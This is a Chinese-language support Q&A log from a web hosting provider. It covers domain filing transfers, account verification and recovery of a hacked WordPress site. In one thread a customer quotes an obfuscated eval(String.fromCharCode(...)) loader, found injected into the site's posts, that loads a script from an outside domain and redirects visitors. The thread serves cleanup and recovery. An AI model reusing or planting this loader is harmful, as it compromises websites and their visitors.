问:您好,我公司“北京影知科技有限公司”委托他人协助备案域名,账号密码不由我们自己管理,现备案信息急需变更,可以将备案信息转入我公司新账号名下,我方可配合提供各种材料。,备案主体账号
答:您好,证件号码请勿留空,
请您将单位营业执照号码填写后再根据提示操作,如仍旧提示无法提交,请将营业执照和具体备案域名提交至工单, 以便为您核实,非常感谢您对我们的支持!疫情期间,请您务必保护好自己和家人的健康,若有任何问题请随时联系我们,西部数码专人7*24小时值班,在疫情期间竭尽所能为您提供帮助!
问:您好,图片附件分别为公司新营业执照和旧营业执照,旧公司名下域名有yingzhikeji.cn;yzzixun.com;yzzixun.cn,备案号为 京ICP备号。现需将备案记录转至我公司账号名下,方便做备案信息的变更。和新域名wujitimes.com的备案。
答:您好,
2.根据企业信息公示系统(http://www.gsxt.gov.cn/)查询您单位已更名为“五纪时代(北京)咨询有限公司”,此您请先联系原备案接入商将信息修改准确提交管局审核;
3.待管局审核通过后,如是已备案成功的域名要使用我司空间,请根据导航–备案转入,操作;
4.如是新域名现在要使用我司空间,请根据首页–B已有备案–B2现在去添加网站,操作;
非常感谢您对我们的支持!疫情期间,请您务必保护好自己和家人的健康,若有任何问题请随时联系我们,西部数码专人7*24小时值班,在疫情期间竭尽所能为您提供帮助!
问:安全管理,修改密码,提示:根据网络安全法要求,账户必须通过增强或普通实名认证后才能管理云主机
问:
答:您好,
问:创建主机时,密码忘记了,登陆不了
答:您好,
您可以提供一个您希望设置的密码,授权我们先为您重置一次密码,然后后续再完成账号的实名认证设置。
问:设
答:您好,
已经帮您修改好了,非常感谢您长期对我司的支持!
问:该网站被攻击,所有页面自动跳转到其他网站,后查看到该网站的wp_posts表中post_content字段都有段js代码,代码如下:< type=text/javascript>eval(String.fromCharCode(118,97,114,32,117,32,61,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,49,49,53,44,53,56,44,52,55,44,52,55,44,49,49,57,44,49,49,53,44,52,54,44,49,49,53,44,49,49,54,44,49,48,53,44,49,49,56,44,49,48,49,44,49,49,48,44,49,48,50,44,49,48,49,44,49,49,52,44,49,49,48,44,57,55,44,49,49,48,44,49,48,48,44,49,49,49,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,49,49,53,44,49,49,54,44,49,48,57,44,54,51,44,49,49,56,44,54,49,44,49,49,53,44,49,48,56,44,49,48,56,44,49,48,56,44,52,57,44,52,54,44,53,51,44,52,54,44,53,54,41,59,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,32,115,46,116,121,112,101,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,54,44,49,48,49,44,49,50,48,44,49,49,54,44,52,55,44,49,48,54,44,57,55,44,49,49,56,44,57,55,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,59,32,118,97,114,32,112,108,32,61,32,117,59,32,115,46,115,114,99,61,112,108,59,32,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,48,49,44,57,55,44,49,48,48,41,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,118,97,114,32,108,105,115,116,32,61,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,108,105,115,116,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,108,105,115,116,46,99,104,105,108,100,78,111,100,101,115,91,48,93,41,59,125));</script>
手动删除了部分后测试网站正常,因手动删除的工作量太大,后拟批量删除,因操作失误无法导入,通过恢复网站备份也未成功,麻烦将网站的数据恢复攻击前的状态,谢谢!
答:您好,查看您对应主机系统自动备份中,其主机FTP空间中的数据和mysql数据库中数据都只有4月18号凌晨的备份,如您对应是空间中的数据需要恢复,您可以参考https://www.west.cn/faq/list.asp?unid=307 去操作,如是数据库中的数据需要恢复可以到主机管理后台数据库中去操作,但是恢复前建议您做好当前数据备份(数据库数据备份参考https://www.west.cn/faq/list.asp?unid=875 ,主机空间可以将当前www目录重命名后,重新创建一个www目录去恢复),因对应恢复后是直接恢复到4月18号设置时间点上面的数据了,在18号到24号之间的数据将没有,非常感谢您长期对我司的支持!
问:亲,是导出的表还原不了的问题,原表的sql文件我也无法传给你们。
答:您好,您可以将对应您导出的备份放到主机FTP空间中,然后给我们说明到您存放文件的目录地址,我司去为您导入对应数据看看,非常感谢您长期对我司的支持!
问:wp_posts表对应的wp_posts.sql这个文件已上传到网站根目录中,这个是原来备份的表的原文件。
答:您好,已经为您将您提供的数据库表备份导入到了当前数据库中,您可以重新核实删除对应数据看看,非常感谢您长期对我司的支持!
问:谢谢,能否将表中的所有sql注入的这段js代码批量去处呢?
答:您好,您可以直接到数据库中搜索“eval”该关键词,将该关键词的内容表字段删除既可,如截图,非常感谢您长期对我司的支持!
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